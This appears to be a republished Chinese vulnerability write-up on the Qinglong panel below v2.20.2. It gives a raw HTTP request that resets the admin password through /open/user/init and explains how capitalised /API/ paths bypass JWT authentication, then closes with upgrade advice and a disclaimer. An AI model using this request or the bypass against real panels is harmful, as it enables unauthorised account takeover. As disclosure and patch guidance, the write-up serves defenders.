文章总结： 文章详细复现了青龙面板v2.20.2以下版本的多个高危漏洞，包括远程代码执行与任意账号密码重置。漏洞根因在于鉴权中间件与路由处理路径大小写不一致，攻击者利用/API/路径可绕过JWT校验。文中提供了完整的漏洞POC与代码分析，建议用户立即升级至v2.20.2及以上版本修复漏洞。 综合评分： 90 文章分类： 漏洞POC,漏洞分析,渗透测试,漏洞预警

plain PUT /open/user/init HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Connection: keep-alive Content-Length: 44 Content-Type: application/json Accept-Encoding: gzip, deflate, br

{“username”:”admin”,”password”:”test123456″}

![](https://mmbiz.qpic.cn/mmbiz_png/oXVNrHPdp9bq1eW5icI6vPudP6k7uo4pDnicAd2uINEOelNjt6oIRl0konvO4sakibFxwVzsoE87dsFPvaBGeT5bVOJZzK4OyzQqOW0EMfznIk/640?wx_fmt=png&from=appmsg#imgIndex=3)

## 漏洞分析

back/loaders/express.ts

![](https://mmbiz.qpic.cn/mmbiz_png/oXVNrHPdp9byGZQXTlDHGW3RG2EiaRd43iboOqQRejmOwMLSTZXUa22FvOYJIKJkS94O89PnpAuQara3BBc9uewytKHVDhMSRsfZBf2R8m7Kw/640?wx_fmt=png&from=appmsg#imgIndex=4)

系统对API白名单的处理采用了严格的全小写匹配机制，严格匹配了纯小写的api，鉴权中间件使用的是req.path.startsWith判断，当请求路径不以`/api/`开头时，会直接绕过JWT（JSON Web Token）校验

if (![‘/open/’, ‘/api/’].some((x) => req.path.startsWith(x))) {   return next(); } “`

意味着/API/这样的路径既能绕过令牌校验，又能成功匹配到/api/路由，从而完全绕过所有身份验证机制。

修复意见

官方已发布安全补丁，请及时更新至最新版本：

青龙面板（Qinglong）>= v2.20.2

下载地址：

https://github.com/whyour/qinglong/

如有侵权，请及时联系删除。

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：PokerSec PokerSec PokerSec《【漏洞复现】青龙面板网站管理系统近期漏洞复现》